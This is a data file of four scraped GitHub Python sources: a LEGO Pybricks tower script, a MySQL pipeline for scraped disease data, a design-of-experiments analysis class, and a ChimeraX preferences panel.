+{"seq_id":"74460098110","text":"from pybricks.pupdevices import Motor, ColorDistanceSensor\nfrom pybricks.parameters import Color, Port\nfrom pybricks.tools import wait\n\nMotor(Port.D).run(140) # Track\ntower = Motor(Port.A)\nsensor = ColorDistanceSensor(Port.B)\n\nwhile True:\n    sensor.light.on(Color.RED)\n    while sensor.distance() == 10:\n        wait(200)\n    sensor.light.off()\n    tower.run_angle(-200, 2400)\n    \n","repo_name":"LasseD/MMM","sub_path":"src/ObservationTower.py","file_name":"ObservationTower.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23864005601","text":"'''数据库相关操作\n\n\n\n数据库描述：\n\nmysql> describe diseases;\n+--------------+------------------+------+-----+---------+----------------+\n| Field        | Type             | Null | Key | Default | Extra          |\n+--------------+------------------+------+-----+---------+----------------+\n| disease_id   | int(10) unsigned | NO   | PRI | NULL    | auto_increment |\n| disease_name | varchar(150)     | NO   | UNI | NULL    |                |\n| synonym      | varchar(150)     | YES  |     | NULL    |                |\n| omim         | varchar(10)      | YES  |     | NULL    |                |\n| orphanet     | varchar(10)      | YES  |     | NULL    |                |\n| protein      | varchar(255)     | YES  |     | NULL    |                |\n| expasy       | varchar(50)      | YES  |     | NULL    |                |\n| gene_locus   | varchar(255)     | YES  |     | NULL    |                |\n| icd          | varchar(50)      | YES  |     | NULL    |                |\n| summary      | text             | NO   |     | NULL    |                |\n| lookup_id    | int(10) unsigned | NO   |     | NULL    |                |\n+--------------+------------------+------+-----+---------+----------------+\n\nmysql> describe symptoms;\n+--------------+------------------+------+-----+---------+----------------+\n| Field        | Type             | Null | Key | Default | Extra          |\n+--------------+------------------+------+-----+---------+----------------+\n| symptom_id   | int(10) unsigned | NO   | PRI | NULL    | auto_increment |\n| symptom_name | varchar(100)     | NO   | UNI | NULL    |                |\n| category     | varchar(100)     | NO   |     | NULL    |                |\n| disease_id   | int(10) unsigned | NO   | MUL | NULL    |                |\n+--------------+------------------+------+-----+---------+----------------+\n\nmysql> describe literature;\n+---------------+------------------+------+-----+---------+----------------+\n| Field         | Type             | Null | Key | Default | Extra          |\n+---------------+------------------+------+-----+---------+----------------+\n| literature_id | int(10) unsigned | NO   | PRI | NULL    | auto_increment |\n| title         | varchar(255)     | NO   | UNI | NULL    |                |\n| link          | varchar(120)     | NO   |     | NULL    |                |\n| author        | varchar(30)      | NO   |     | NULL    |                |\n| journal       | varchar(255)     | NO   |     | NULL    |                |\n| disease_id    | int(10) unsigned | NO   | MUL | NULL    |                |\n+---------------+------------------+------+-----+---------+----------------+\n\nmysql> describe lab;\n+------------+------------------+------+-----+---------+----------------+\n| Field      | Type             | Null | Key | Default | Extra          |\n+------------+------------------+------+-----+---------+----------------+\n| lab_id     | int(10) unsigned | NO   | PRI | NULL    | auto_increment |\n| metabolite | varchar(100)     | NO   |     | NULL    |                |\n| specimen   | varchar(30)      | YES  |     | NULL    |                |\n| agegroup   | varchar(30)      | YES  |     | NULL    |                |\n| min_value  | varchar(10)      | YES  |     | NULL    |                |\n| max_value  | varchar(10)      | YES  |     | NULL    |                |\n| unit       | varchar(25)      | YES  |     | NULL    |                |\n| disease_id | int(10) unsigned | NO   | MUL | NULL    |                |\n+------------+------------------+------+-----+---------+----------------+\n\nmysql> describe normal_specimens;\n+------------+------------------+------+-----+---------+----------------+\n| Field      | Type             | Null | Key | Default | Extra          |\n+------------+------------------+------+-----+---------+----------------+\n| ns_id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |\n| metabolite | varchar(100)     | NO   |     | NULL    |                |\n| min_value  | varchar(10)      | YES  |     | NULL    |                |\n| max_value  | varchar(10)      | YES  |     | NULL    |                |\n| unit       | varchar(25)      | NO   |     | NULL    |                |\n| specimen   | varchar(30)      | NO   |     | NULL    |                |\n| agegroup   | varchar(30)      | NO   |     | NULL    |                |\n| method     | varchar(10)      | YES  |     | NULL    |                |\n| disease_id | int(10) unsigned | NO   | MUL | NULL    |                |\n+------------+------------------+------+-----+---------+----------------+\n\nmysql> describe disease_symptom;\n+------------+------------------+------+-----+---------+----------------+\n| Field      | Type             | Null | Key | Default | Extra          |\n+------------+------------------+------+-----+---------+----------------+\n| ds_id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |\n| disease_id | int(10) unsigned | NO   | MUL | NULL    |                |\n| symptom_id | int(10) unsigned | NO   | MUL | NULL    |                |\n+------------+------------------+------+-----+---------+----------------+\n\nmysql> describe disease_literature;\n+---------------+------------------+------+-----+---------+----------------+\n| Field         | Type             | Null | Key | Default | Extra          |\n+---------------+------------------+------+-----+---------+----------------+\n| dl_id         | int(10) unsigned | NO   | PRI | NULL    | auto_increment |\n| disease_id    | int(10) unsigned | NO   | MUL | NULL    |                |\n| literature_id | int(10) unsigned | NO   | MUL | NULL    |                |\n+---------------+------------------+------+-----+---------+----------------+\n\n'''\n\nimport pymysql\nimport pymongo\nfrom settings import *\nimport logging\nfrom threading import Lock\n\nconnection = pymysql.connect(\n    host=MYSQL_HOST,\n    user=MYSQL_USER,\n    password=MYSQL_PASSWD,\n    db=MYSQL_DB\n)\n\n# client = pymongo.MongoClient(host=MONGO_HOST, port=MONGO_PORT)\n# db = client[MONGO_DB]\n# coll_dict = {\n#     'disease': db[MONGO_COLL_DISEASES],  # 疾病\n#     'symptom': db[MONGO_COLL_SYMPTOMS],  # 症状\n#     'lab': db[MONGO_COLL_LAB],  # 实验数据\n#     'literature': db[MONGO_COLL_LITERATURE],  # 相关文献\n#     'normal': db[MONGO_COLL_NP]  # 正常样本\n# }\nlogger = logging.getLogger(LOGGER)\nlock = Lock()   # 互斥锁，用于线程同步，使所有线程可以共享一个 mysql 连接\n\nclass MySQLPipelines(object):\n\n    @classmethod\n    def insert_disease(cls, disease_name, synonym, omim, orphanet, protein, expasy, gene_locus, icd, summary, disease_id):\n        try:\n            lock.acquire()\n            with connection.cursor() as cursor:\n                sql = \"\"\"\n                INSERT INTO diseases (disease_name, \n                synonym, omim, orphanet, protein, expasy, gene_locus, icd, summary, lookup_id)\n                VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\n                \"\"\"\n                cursor.execute(sql, (disease_name, synonym, omim, orphanet, protein, expasy, gene_locus, icd, summary, disease_id))\n            connection.commit()\n        except Exception as e:\n            logger.error('[mysql | disease] %s' % e)\n            logger.warning('[disease | failure] %s' % disease_name)\n        else:\n            logger.info('[disease | success] %s' % disease_name)\n            # MongoPipelines.insert(disease_id, category='disease')\n        finally:\n            lock.release()   # 操作成功或失败都需要释放线程锁\n\n    @classmethod\n    def insert_symptom(cls, symptom_name, category, disease_id):\n        try:\n            lock.acquire()\n            with connection.cursor() as cursor:\n                sql = \"\"\"\n                INSERT INTO symptoms (symptom_name, category, disease_id) \n                VALUES (%s, %s, %s)\n                \"\"\"\n                cursor.execute(sql, (symptom_name, category, disease_id))\n            connection.commit()\n        except Exception as e:\n            logger.error('[mysql | symptoms] %s' % e)\n            logger.warning('[symptoms | failure] %s' % symptom_name)\n        else:\n            logger.info('[symptoms | success] %s' % symptom_name)\n            # MongoPipelines.insert(disease_id, category='symptom')\n        finally:\n            lock.release()\n\n    @classmethod\n    def insert_literature(cls, title, link, author, journal, disease_id):\n        try:\n            lock.acquire()\n            with connection.cursor() as cursor:\n                sql = \"\"\"\n                INSERT INTO literature (title, link, author, journal, disease_id)\n                VALUES (%s, %s, %s, %s, %s)\n                \"\"\"\n                cursor.execute(sql, (title, link, author, journal, disease_id))\n            connection.commit()\n        except Exception as e:\n            logger.error('[mysql | literature] %s' % e)\n            logger.warning('[literature | failure] %s' % title)\n        else:\n            logger.info('[literature | success] %s' % title)\n            # MongoPipelines.insert(disease_id, category='literature')\n        finally:\n            lock.release()\n\n    @classmethod\n    def insert_lab(cls, metabolite, specimen, agegroup, min_value, max_value, unit, disease_id):\n        try:\n            lock.acquire()\n            with connection.cursor() as cursor:\n                sql = \"\"\"\n                INSERT INTO lab (metabolite, specimen, agegroup, min_value, max_value, unit, disease_id)\n                VALUES (%s, %s, %s, %s, %s, %s, %s)\n                \"\"\"\n                cursor.execute(sql, (metabolite, specimen, agegroup, min_value, max_value, unit, disease_id))\n            connection.commit()\n        except Exception as e:\n            logger.error('[mysql | lab] %s' % e)\n            logger.warning('[lab | failure] %s' % metabolite)\n        else:\n            logger.info('[lab | success] %s' % metabolite)\n            # MongoPipelines.insert(disease_id, category='lab')\n        finally:\n            lock.release()\n\n    @classmethod\n    def insert_normal(cls, metabolite, min_value, max_value, unit, specimen, agegroup, method, disease_id):\n        try:\n            lock.acquire()\n            with connection.cursor() as cursor:\n                sql = \"\"\"\n                INSERT INTO normal_specimens (metabolite, min_value, max_value, unit, specimen, agegroup, method, disease_id)\n                VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\n                \"\"\"\n                cursor.execute(sql, (metabolite, min_value, max_value, unit, specimen, agegroup, method, disease_id))\n            connection.commit()\n        except Exception as e:\n            logger.error('[mysql | normal] %s' % e)\n            logger.warning('[normal | failure] %s' % metabolite)\n        else:\n            logger.info('[normal | success] %s' % metabolite)\n            # MongoPipelines.insert(disease_id, category='normal')\n        finally:\n            lock.release()\n\n    @classmethod\n    def select_disease_id(cls, lookup_id):\n        '''\n        在 diseases 表中查询对应 lookup_id 的主键\n        '''\n        try:\n            lock.acquire()\n            with connection.cursor() as cursor:\n                sql = \"\"\"\n                SELECT disease_id FROM diseases WHERE lookup_id = %s\n                \"\"\"\n                cursor.execute(sql, (lookup_id,))\n                result = cursor.fetchone()[0]\n        except Exception as e:\n            logger.error('[mysql | select] %s' % e)\n            return 0\n            # logger.warning('[symptoms | failure] %s' % symptom_name)\n        else:\n            return result\n        finally:\n            lock.release()\n\n    @classmethod\n    def select_ds(cls, disease_id, symptom_id):\n        '''\n        根据疾病id和症状id从疾病-症状关联表中查询数据\n        '''\n        lock.acquire()\n        with connection.cursor() as cursor:\n            sql = \"\"\"\n            SELECT EXISTS(SELECT 1 FROM disease_symptom WHERE disease_id = %s AND symptom_id = %s)\n            \"\"\"\n            cursor.execute(sql, (disease_id, symptom_id))\n            result_tuple = cursor.fetchone()\n            lock.release()\n        return result_tuple[0]\n        \n    @classmethod\n    def select_dl(cls, disease_id, literature_id):\n        '''\n        根据疾病id和文献id从疾病-文献关联表中查询数据\n        '''\n        lock.acquire()\n        with connection.cursor() as cursor:\n            sql = \"\"\"\n            SELECT EXISTS(SELECT 1 FROM disease_literature WHERE disease_id = %s AND literature_id = %s)\n            \"\"\"\n            cursor.execute(sql, (disease_id, literature_id))\n            result_tuple = cursor.fetchone()\n            lock.release()\n        return result_tuple[0]\n\n    @classmethod\n    def insert_ds(cls, disease_id, symptom_id):\n        '''\n        插入疾病-症状关联数据\n        '''\n        try:\n            lock.acquire()\n            with connection.cursor() as cursor:\n                sql = \"\"\"\n                INSERT INTO disease_symptom(disease_id, symptom_id) VALUES(%s, %s)\n                \"\"\"\n                cursor.execute(sql, (disease_id, symptom_id))\n            connection.commit()\n        except Exception as e:\n            logger.error('[mysql|ds] %s' % e)\n        else:\n            logger.info('[ds | success] %s, %s' % (disease_id, symptom_id))\n        finally:\n            lock.release()\n\n    @classmethod\n    def insert_dl(cls, disease_id, literature_id):\n        '''\n        插入疾病-文献关联数据\n        '''\n        try:\n            lock.acquire()\n            with connection.cursor() as cursor:\n                sql = \"\"\"\n                INSERT INTO disease_literature(disease_id, literature_id) VALUES(%s, %s)\n                \"\"\"\n                cursor.execute(sql, (disease_id, literature_id))\n            connection.commit()\n        except Exception as e:\n            logger.error('[mysql|dl] %s' % e)\n        else:\n            logger.info('[dl | success] %s, %s' % (disease_id, literature_id))\n        finally:\n            lock.release()     \n\n    @classmethod\n    def select_symptom_id(cls, symptom_name):\n        try:\n            lock.acquire()\n            with connection.cursor() as cursor:\n                sql = \"\"\"\n                SELECT symptom_id FROM symptoms WHERE symptom_name = %s\n                \"\"\"\n                cursor.execute(sql, (symptom_name,))\n                result = cursor.fetchone()[0]\n        except Exception as e:\n            # logger.debug('[mysql | select] %s' % e)\n            return 0\n        else:\n            return result\n            # logger.warning('[symptoms | failure] %s' % symptom_name)\n        finally:\n            lock.release()\n\n    @classmethod\n    def select_literature_id(cls, title):\n        try:\n            lock.acquire()\n            with connection.cursor() as cursor:\n                sql = \"\"\"\n                SELECT literature_id FROM literature WHERE title = %s\n                \"\"\"\n                cursor.execute(sql, (title,))\n                result = cursor.fetchone()[0]\n        except Exception as e:\n            # logger.error('[mysql | select] %s' % e)\n            return 0\n        else:\n            return result\n            # logger.warning('[symptoms | failure] %s' % symptom_name)\n        finally:\n            lock.release()\n","repo_name":"xfffrank/spiders","sub_path":"metagene/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":15221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6362618286","text":"'''\nCreated on Jul 2, 2014\n\n@author: vpsmith\n'''\nfrom pyDOE import *\nfrom numpy import *\nimport numpy as np\nfrom scipy import *\nfrom scipy.sparse.linalg.isolve import *\nimport csv\nfrom sklearn.externals import six\nimport matplotlib.pyplot as plt\n#independentList=[\"Total Number of Cells (X100)\", \"Percent of D141 + C9a+(/100)\", \"Percentage of CD1c(/100)\", \"Percentage of PTK7 (/100)\", \"CD14+%(/100)\", \"CD141dim CLEC9A+%(/100)\",  \"CD141+%(/100)\", \"Fold\", \"Number of XDC(/100)\"  ]\n\n        \n\nclass Experiment(object):\n    '''\n    classdocs\n    '''\n    def __init__(self, runTable=[], factorList=[], fixedVariables=[], factorHighs=[], factorLows=[], results=[], generatorList='', numExperiments=[], factorWeights=[], factorPvals=[], independentVariableList=[] ):\n        '''\n        Constructor\n        '''\n        self.factorList= factorList\n        self.factorHighs=factorHighs\n        self.factorLows=factorLows\n        self.runTable= runTable\n        self.results=results\n        self.fixedVariables=fixedVariables\n        self.generatorList=generatorList\n        self.numExperiments=[]\n        self.factorNum=len(self.factorList)\n        self.factorWeights=factorWeights\n        self.factorPVals=factorPvals\n        self.independentVariableList=independentVariableList\n\n    def setNumExperiments(self):\n        length=len(np.matrix(self.runTable)[:,0])\n        self.numExperiments=list(range(length+1))[1:]   \n    def addToRunTable(self, Runs):\n        self.runTable= doe_union.union(matrix(self.runTable), matrix(Runs))\n    def setRunTable(self, runTable):\n        self.runTable= runTable\n    def getRunTable(self):\n        return list(self.runTable)\n    def getFactorList(self):\n        return list(self.factorList) \n    def setFactorList(self, factorList):\n        self.factorList= factorList\n    def setResults(self, results):\n        self.results=results\n    def setFactorLows(self, factorLows):\n        self.factorLows=factorLows\n    def setFactorHighs(self, factorHighs):\n        self.factorHighs=factorHighs\n    def setFactorPVals(self, pVals):\n        self.factorPVals=pVals\n    def setFactorWeights(self, factorWeights):\n        self.factorWeights=factorWeights\n    \n #base class for experiment manipulators\nclass ExperimentOperator: \n    def __init__(self):\n        self\n    def isfloat(self, element):\n        try:\n            float(element)\n            return True\n        except ValueError:\n            return False\n    def createExperimentTable(self, experiment):\n        completeMatrix=[]\n        factorRow=(experiment.factorList)\n        factorRow.extend(experiment.fixedVariables)\n        if(experiment.factorList[0]!='Factor Names'):\n            factorRow.insert(0, 'Factor Names')\n        \n       \n        \n        #print(len(experiment.results))\n       \n        if(len(experiment.results)>0):\n            i=0\n            while( i < len(experiment.results)): \n                factorRow.append(\"Results: \" + str((experiment.independentVariableList[i])))\n                i=i+1\n        completeMatrix.append(list(factorRow))\n        factorHighRow=experiment.factorHighs\n        if(experiment.factorHighs[0]!='Factor Highs'):\n            factorHighRow.insert(0, 'Factor Highs')\n        \n        \n        \n        if(len(experiment.results)>0):\n            factorHighRow.extend(list(['-']*len((experiment.results))))\n        completeMatrix.append(factorHighRow)\n        factorLowRow=experiment.factorLows\n        if(experiment.factorLows[0]!='Factor Lows'):\n            factorLowRow.insert(0,'Factor Lows')\n        \n        if(len(experiment.results)>0):\n            factorLowRow.extend(list(['-']*len((experiment.results))))\n       \n        completeMatrix.append(factorLowRow)\n       \n        i=0\n        j=i+1\n        while i < len(list(experiment.runTable)):\n            runRow=[str(j)]\n            runTableRow=str(list(experiment.runTable)[int(i)])\n            runTableRow=runTableRow.replace('matrix', '')\n            runTableRow=runTableRow.replace(']','')\n            runTableRow=runTableRow.replace('[','') \n            #runTableRow=runTableRow.replace('.','')\n            runTableRow=runTableRow.replace(',', '')\n            runTableRow=runTableRow.replace('  ',',')\n            runTableRow=runTableRow.replace('-',',-')\n            runTableRow=list(runTableRow.split(','))\n            runTableRow.extend(list(['1.']*len(experiment.fixedVariables)))\n            print(runTableRow)\n            k=0\n            while k<len(runTableRow):\n                if(runTableRow[k]=='' or runTableRow[k]==' '):\n                    runTableRow.pop(k)\n                    k=0\n                elif(runTableRow[k]!=''):\n                    k=k+1\n            \n            runRow.extend(runTableRow)\n            #print(runRow)\n            if(len(experiment.results)>0):\n                for num in (list(experiment.results)):\n                    #print(list(num))\n                    runRow.append(list(num)[i])\n                \n                #print(runRow)\n            completeMatrix.append(list(runRow))\n            i=i+1\n            j=j+1\n        if(len(experiment.factorWeights)>0):\n            i=0\n            j=i+1\n            while i< len((experiment.factorWeights)):\n                factorWeightRow=['Factor Weights ' + str(experiment.independentVariableList[i])]\n                factorWeightRow.extend(experiment.factorWeights[i])\n                #print(factorWeightRow)\n                factorWeightRow.extend(list(['-']*len((experiment.results))))\n                completeMatrix.append(list(factorWeightRow))\n                \n                factorPValRow=['Factor PVals ' + str(experiment.independentVariableList[i])]\n                factorPValRow.extend(experiment.factorPVals[i])\n                factorPValRow.extend(list(['-']*len((experiment.results))))\n                completeMatrix.append(list(factorPValRow))\n                i=i+1\n        return completeMatrix\n            \n    def writeExperimentToCSV(self, experiment, fName):\n        file_name=fName\n        with open(str(file_name), 'w', newline=\"\") as csvfile:\n            writer = csv.writer(csvfile)\n            for r in ((self.createExperimentTable(experiment))):\n                writer.writerow(r)\n            \n        return\n    def readExperimentFromCSV(self, experiment, fName):\n        file_name=fName\n        experiment.runTable=list()\n        experiment.results=list()\n        with open(file_name, 'r') as csvfile:\n            fileReader = csv.reader(csvfile)\n            end=0\n            for row in fileReader:\n                i=0\n                j=i+1\n                while i<len(row):\n                    if(row[i]=='Factor Names'):\n                        k=0\n                        while k<len(row):\n                            if(row[k].find('Results')>=0):\n                                end=k\n                                print(end)\n                                break\n                            else:\n                                k=k+1\n                        experiment.factorList= row[j:end]\n                    elif(row[i]=='Factor Highs'):\n                        experiment.factorHighs= row[j:end]\n                    elif(row[i]=='Factor Lows'):\n                        experiment.factorLows= row[j:end]\n                    elif((self.isfloat(row[i]))==True and i==0):\n                            runTab=((row[j:end]))\n                            experiment.runTable.append(runTab)\n                    elif((row[i]).count('Factor Weights')>0):\n                        experiment.factorWeights.append(row[j:end])\n                    elif((row[i]).count('Factor PValues')>0):\n                        experiment.factorPVals.append(row[j:end]) \n                    elif(i==end and self.isfloat(row[i])==True):\n                        experiment.results.append(list(row[i:len(row)]))\n                        \n                    if(i==end and self.isfloat(row[i])==False and len(experiment.independentVariableList)<1):\n                        experiment.independentVariableList=(row[i:len(row)])\n                        n=0\n                        while( n<len(experiment.independentVariableList)):\n                            experiment.independentVariableList[n]=(experiment.independentVariableList[n]).replace('Results: ','')\n                            n=n+1\n                    j=j+1\n                    i=i+1\n                    \n        experiment.results=  (np.array(list(zip(*list(experiment.results)))))\n        experiment.runTable= np.asmatrix(experiment.runTable, float)\n            \n        return\n    def setRunTableHighLow(self, experiment):\n        i=0\n        runTable= experiment.getRunTable()\n        while(i< len(runTable)):\n            j=0\n            while(j<len(runTable[i])): \n                if(int(runTable[i][j])==-1):\n                    runTable[i][j]='-'\n                elif(int(runTable[i][j])==1):\n                    runTable[i][j]='+'\n                j=j+1\n            i=i+1\n        return runTable\n    \n  \n    def setRunTable(self, experiment, Type='FF'):\n         \n        fList=str(experiment.generatorList)\n        fNum=int(experiment.factorNum)\n        print(fList)\n        try:\n            if(Type=='FF'):\n                runTable= matrix(fracfact(fList))\n            elif(Type=='CCD'):\n                runTable= ccdesign(int(fNum), generatorList= experiment.generatorList,center=(0, 3), alpha='rotatable')\n        except ValueError:\n            print(\"Error with input value\")\n            return\n        experiment.setRunTable(runTable)\n    \n    def linearRegression(self, k,  experiment, fName=None):\n        i=k\n        if(fName==None):\n            runTable= np.asmatrix(experiment.runTable, float)\n            experiment.setNumExperiments()\n            results=np.array((experiment.results)[i])\n            results=results.astype(np.float) #this takes one result at a time  \n            \n            linearRegressMatrix= lsqr(np.matrix(runTable), np.array(results), damp=0.0, atol=0, btol=0, conlim=0,\n             iter_lim=None, show=False, calc_var=True) \n            print(linearRegressMatrix)\n            print(linearRegressMatrix[0])\n            #print(linearRegressMatrix[(len(experiment.factorList))])\n            factorWeight=list(linearRegressMatrix[0])\n            #factorPVals=list(linearRegressMatrix[(len(experiment.factorList))] )\n            experiment.factorWeights.append(factorWeight)\n            #experiment.factorPVals.append(factorPVals) \n            experiment.factorPVals.append((['0']*len(linearRegressMatrix[0]))) \n            experiment.runTable=np.matrix(runTable)\n            return\n        elif(fName!=None):\n            self.readExperimentFromCSV(experiment, fName) \n            runTable= np.matrix(experiment.runTable)\n            experiment.setNumExperiments()\n            results=np.array(((experiment.results)[i])) #this takes one result at a time  \n            linearRegressMatrix= lsqr(matrix(runTable), (results), damp=0.0, atol=0, btol=0, conlim=0,\n             iter_lim=None, show=False, calc_var=True) \n            print(linearRegressMatrix[0])\n            print(linearRegressMatrix[(len(experiment.factorList))])\n            experiment.factorWeights.append=linearRegressMatrix[0]\n            #print(linearRegressMatrix[0])\n            #print(linearRegressMatrix[(1+len(experiment.numExperiments))])\n            experiment.factorPVals.append(linearRegressMatrix[(['0']*len(linearRegressMatrix[0]))])  \n            return\n    def findSignificantVariables(self, j, experiment):\n        #find top variables\n        sigFactors=list(experiment.factorWeights[j])\n        sigFactors.sort(reverse=True)\n        sigFactors=sigFactors[0:5]\n        i=0\n        while i < len(sigFactors):\n            facNameInd=(experiment.factorWeights[j]).index(sigFactors[i])\n            sigF=list(str(sigFactors[i]))\n            sigF.append(experiment)\n        \n        print(sigFactors)\n        return\n    def graphExperimentDistribution(self, experiment):\n        experiment.setNumExperiments()\n        experiments=list(experiment.numExperiments)\n        numExperiments= len(experiments)+1\n        results= (experiment.results)\n        print(results)\n        print(len(results))\n        i=0\n        f=1\n        while i<len(results):\n            j=1\n            plt.figure(f)\n            while (j<=1):\n                self.subplotInit(plot=plt, subplotRows=1, subplotColumns=1 ,subplotNumber=j, subplotXLabel=\"Experiment Number\", subplotYLabel=experiment.independentVariableList[i], subplotTitle=\"Experiment 1\", numExperiments=numExperiments, experiments=experiments, results=results[i])\n                j=j+1 \n                i=i+1   \n            f=f+1\n        plt.show()\n    def graphExperimentFactorSignificance(self,experiment):\n        experiments=list(experiment.factorList)\n        results=list(experiment.factorWeights)\n        results= results\n        #N = len(results)\n        #fig, ax = plt.subplots()\n        #print(N)\n        print(results)\n        N=len(results)\n        ind = np.arange(N)  # the x locations for the groups\n        width = 0.45       # the width of the bars\n       \n        i=0\n        j=1\n        \n        \n        while i<len(results):\n            graph=list(map(float,results[i]))\n            \n            fig, ax=plt.subplots()\n            ax.bar(ind, graph, width, color='y')  \n            ax.set_ylabel('Factor Significance')\n            ax.set_title(\"Factor Significance of \" + experiment.independentVariableList[i])\n            ax.set_xticks(ind+width)\n            ax.set_xticklabels( experiment.factorList )\n            plt.figure(j)\n           \n            i=i+1\n            j=j+1\n        # add some\n        \n       \n        #ax.legend( , (experiments) )\n        \n        plt.show()\n        \n    \n    def subplotInit(self, plot=plt, subplotRows=2, subplotColumns=1, subplotNumber=1, subplotXLabel=None, subplotYLabel=None, subplotTitle=None, numExperiments=9, experiments=None, results=None):\n        plt.subplot(subplotRows,subplotColumns,subplotNumber)\n        results=np.array(results)\n        results=results.astype(np.float)\n        average=np.average(results)\n        plt.axis([0, numExperiments, -1 ,1])\n        plt.autoscale(enable=True, axis='y', tight=None)\n        plt.plot(experiments, results, 'ro')\n        plt.plot(experiments, list([average]*len(experiments)), 'b')\n        plt.xlabel(subplotXLabel)\n        plt.ylabel(subplotYLabel)\n        plt.title(subplotTitle)\n        plt.tight_layout()\n        plt.grid(True)\n\n","repo_name":"chasesmith95/Design-of-Experiments-Project","sub_path":"src/Experiment.py","file_name":"Experiment.py","file_ext":"py","file_size_in_byte":14450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74936521790","text":"from chimerax.core.core_settings import set_proxies, settings as core_settings\nfrom .options import SymbolicEnumOption, ColorOption, BooleanOption, IntOption\nfrom .options import StringOption, HostPortOption\nfrom chimerax.core.colors import color_name\n\nclass UpdateIntervalOption(SymbolicEnumOption):\n    values = (\"day\", \"week\", \"month\", \"never\")\n    labels = (\"every day\", \"every week\", \"every month\", \"never\")\n\nclass CoreSettingsPanel:\n\n    # settings_info is keyed on setting name, and value is a tuple composed of:\n    #\n    # 1) Description to display in the gui\n    # 2) Category (also for gui)\n    # 3) Option class to use, or (Option-class, {additional __init__ keywords}) tuple\n    # 4) Updater to use when option changed.  One of:\n    #     a) None, if no update necessary\n    #     b) string, a command to run (and see next tuple component)\n    #     c) a function to call (also see next tuple component)\n    # 5) Converter to use with updater.  Either None (don't provide arg to updater), or\n    #     a function to convert the option's value to a form usable with the updater.\n    #     If the updater is a command, then the converted value will be as the right\n    #     side of the '%' string-formatting operator; otherwise it will be the second arg\n    #     provided to the function call (session will be the first).\n    # 6) Balloon help for option.  Can be None.\n    # 7) Whether to automatically set the core setting.  If True, the setting will be changed\n    #     before any updater is called.  Otherwise, the updater is in charge of setting the\n    #     setting.  Usually only set to False if the updater needs to examine the old value.\n    settings_info = {\n        'background_color': (\n            \"Background color\",\n            \"Background\",\n            ColorOption,\n            \"set bgColor %s\",\n            color_name,\n            \"Background color of main graphics window\",\n            True),\n        'http_proxy': (\n            'HTTP proxy',\n            'Web Access',\n            HostPortOption,\n            lambda ses, val: set_proxies(),\n            None,\n            'HTTP proxy for ChimeraX to use when trying to reach web sites',\n            True),\n        'https_proxy': (\n            'HTTPS proxy',\n            'Web Access',\n            HostPortOption,\n            lambda ses, val: set_proxies(),\n            None,\n            'HTTPS proxy for ChimeraX to use when trying to reach web sites',\n            True),\n        'resize_window_on_session_restore': (\n            'Resize graphics window on session restore',\n            'Window',\n            BooleanOption,\n            None,\n            None,\n            'Whether to resize main window when restoring a session to the size it had when the session was saved.',\n            True),\n        'toolshed_update_interval': (\n            \"Toolshed update interval\",\n            \"Toolshed\",\n            UpdateIntervalOption,\n            None,\n            None,\n            'How frequently to check toolshed for new updates<br>',\n            True),\n        'newer_update_interval': (\n            \"New version check interval\",\n            \"Toolshed\",\n            UpdateIntervalOption,\n            None,\n            None,\n            'How frequently to check for newer versions of ChimeraX<br>',\n            True),\n    }\n\n    def __init__(self, session, ui_area):\n        from Qt.QtWidgets import QBoxLayout\n        self.session = session\n        from chimerax.core.commands import run\n        from .options import CategorizedSettingsPanel\n        self.options_widget = CategorizedSettingsPanel(help_cb=lambda *, category=None, ses=session, run=run:\n            run(ses, \"help help:user/preferences.html\"\n            + (\"\" if category is None else \"#\" + category.replace(' ', '').lower())))\n        self.options = {}\n\n        for setting, setting_info in self.settings_info.items():\n            opt_name, category, opt_class, updater, converter, balloon, set_setting = setting_info\n            if isinstance(opt_class, tuple):\n                opt_class, kw = opt_class\n                if 'session' in kw:\n                    kw['session'] = self.session\n            else:\n                kw = {}\n            opt = opt_class(opt_name, getattr(core_settings, setting), self._opt_cb,\n                attr_name=setting, settings=core_settings, balloon=balloon, auto_set_attr=set_setting, **kw)\n            self.options_widget.add_option(category, opt)\n            self.options[setting] = opt\n\n        core_settings.triggers.add_handler('setting changed', self._core_setting_changed)\n        layout = QBoxLayout(QBoxLayout.Direction.TopToBottom)\n        layout.setSpacing(5)\n        layout.addWidget(self.options_widget, 1)\n        layout.setContentsMargins(0, 0, 0, 0)\n\n        ui_area.setLayout(layout)\n\n    def show_category(self, category):\n        self.options_widget.show_category(category)\n\n    def _core_setting_changed(self, trig_name, info):\n        setting_name, old_val, new_val = info\n        if setting_name in self.options:\n            self.options[setting_name].value = new_val\n\n    def _opt_cb(self, opt):\n\n        setting = opt.attr_name\n        opt_name, category, opt_class, updater, converter, balloon, set_setting = self.settings_info[setting]\n        if updater is None:\n            return\n\n        if isinstance(updater, str):\n            # command to run\n            val = opt.value\n            if converter:\n                val = converter(val)\n            from chimerax.core.commands import run\n            run(self.session, updater % val)\n        else:\n            updater(self.session, opt.value)\n","repo_name":"RBVI/ChimeraX","sub_path":"src/bundles/ui/src/core_settings_ui.py","file_name":"core_settings_ui.py","file_ext":"py","file_size_in_byte":5606,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"60"}
